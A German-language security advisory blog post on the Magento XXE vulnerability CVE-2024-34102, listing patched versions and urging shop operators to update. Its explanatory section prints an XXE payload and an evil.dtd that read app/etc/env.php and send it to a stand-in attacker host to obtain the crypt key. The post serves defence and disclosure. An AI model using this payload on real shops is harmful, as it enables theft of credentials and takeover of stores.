Am 11. Juni 2024 hat Magento einen neuen Sicherheitspatch veröffentlicht, der eine der kritischsten Sicherheitslücken der letzten Jahre adressiert: CVE-2024-34102. Diese Schwachstelle ermöglicht es Angreifern, beliebigen Schadcode auszuführen und damit den gesamten Shop zu kompromittieren.
Was ist CVE-2024-34102?
CVE-2024-34102 ist eine kritische Sicherheitslücke in Magento, die es Angreifern ermöglicht, durch speziell präparierte XML-Daten beliebigen Code auf dem Server auszuführen. Diese Art von Angriff wird als XML External Entity (XXE) Angriff bezeichnet. Durch das Ausnutzen dieser Schwachstelle können Angreifer sensible Daten exfiltrieren, Dateien lesen und verändern oder sogar die vollständige Kontrolle über den Server übernehmen.
Wie kann ich mich schützen?
Wer kann, sollte zeitnah auf eine bereits gepatchte Version aktualisieren. Wer aus Gründen nicht, oder noch nicht aktualisieren kann, sollte unbedingt den Patch für CVE-2024-34102 einspielen.
Sichere Versionen sind folgende (enthalten bereits den Patch):
- Magento Version 2.4.7-p1
- Magento Version 2.4.6-p6
- Magento Version 2.4.5-p8
- Magento Version 2.4.4-p9
Wie funktioniert der Angriff?
Der Angriff nutzt die Möglichkeit des XML-Parsers in Magento, externe Entitäten zu laden. Wenn eine Anwendung XML-Daten ohne ausreichende Validierung und Sicherheitsmaßnahmen verarbeitet, können Angreifer speziell gestaltete XML-Daten einspeisen, die den XML-Parser dazu bringen, Daten von externen Quellen zu laden und zu verarbeiten.
Ein Beispiel für eine solche Angriffstechnik ist die Verwendung einer externen DTD (Document Type Definition), die den Inhalt einer sensiblen Datei wie app/etc/env.php
an einen vom Angreifer kontrollierten Server sendet:
$data = <<<XML
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://angreifer-server-ip/evil.dtd">
%xxe;
]>
<foo>&exfil;</foo>
XML;
Die Datei evil.dtd
auf dem Angreifer-Server könnte wie folgt aussehen:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=../app/etc/env.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://angreifer-server-ip/?%data;'>">
Der Angreifer-Server wird so eingerichtet, dass er eingehende Verbindungen und exfiltrierte Daten empfängt.
![CVE-2024-07-34102 Exploit](/images/blog/cve-2024-07-34102.png)
Damit kann ein Angreifer beispielsweise die env.php
auslesen und in den Besitz des Crypt Keys gelangen. Wer Zugriff auf diesen Crypt Key hat, kann sich Access Tokens erzeugen und damit über das API auf alle Daten des Shops zugreifen.
Warum ist es ein potenzielles Sicherheitsrisiko?
Diese Schwachstelle stellt ein erhebliches Sicherheitsrisiko dar, da sie es Angreifern ermöglicht, vollständig die Kontrolle über den Magento-Shop zu übernehmen. Dies umfasst:
Exfiltrieren sensibler Daten: Angreifer können vertrauliche Informationen wie Benutzerdaten, Zahlungsinformationen und interne Konfigurationsdateien stehlen.
Ausführen beliebigen Codes: Angreifer können Schadcode ausführen, um weitere schädliche Aktivitäten wie das Einrichten von Hintertüren oder das Installieren von Malware durchzuführen.
Komplette Kompromittierung des Servers: Da der Angreifer beliebigen Code ausführen kann, kann er die volle Kontrolle über den Server erlangen, einschließlich der Möglichkeit, Daten zu löschen oder zu verändern.
Existierende Exploits und Maßnahmen
Es gibt bereits funktionierende Exploits für diese Schwachstelle, was die Dringlichkeit unterstreicht, den Sicherheitspatch sofort zu installieren. Sansec hat einen detaillierten Bericht veröffentlicht, der die Exploits und ihre Auswirkungen beschreibt. Weitere Informationen sind im Bericht von Sansec.
Fazit
Die Sicherheitslücke CVE-2024-34102 in Magento ist eine der schwerwiegendsten, die in den letzten Jahren entdeckt wurden. Shop-Betreiber sollten unverzüglich den von Magento bereitgestellten Sicherheitspatch installieren, um ihre Systeme zu schützen und die Integrität ihrer Daten sicherzustellen.
Du brauchst Unterstützung beim Einspielen oder der Prüfung, ob dein Shop betroffen ist? Dann melde dich gerne bei uns.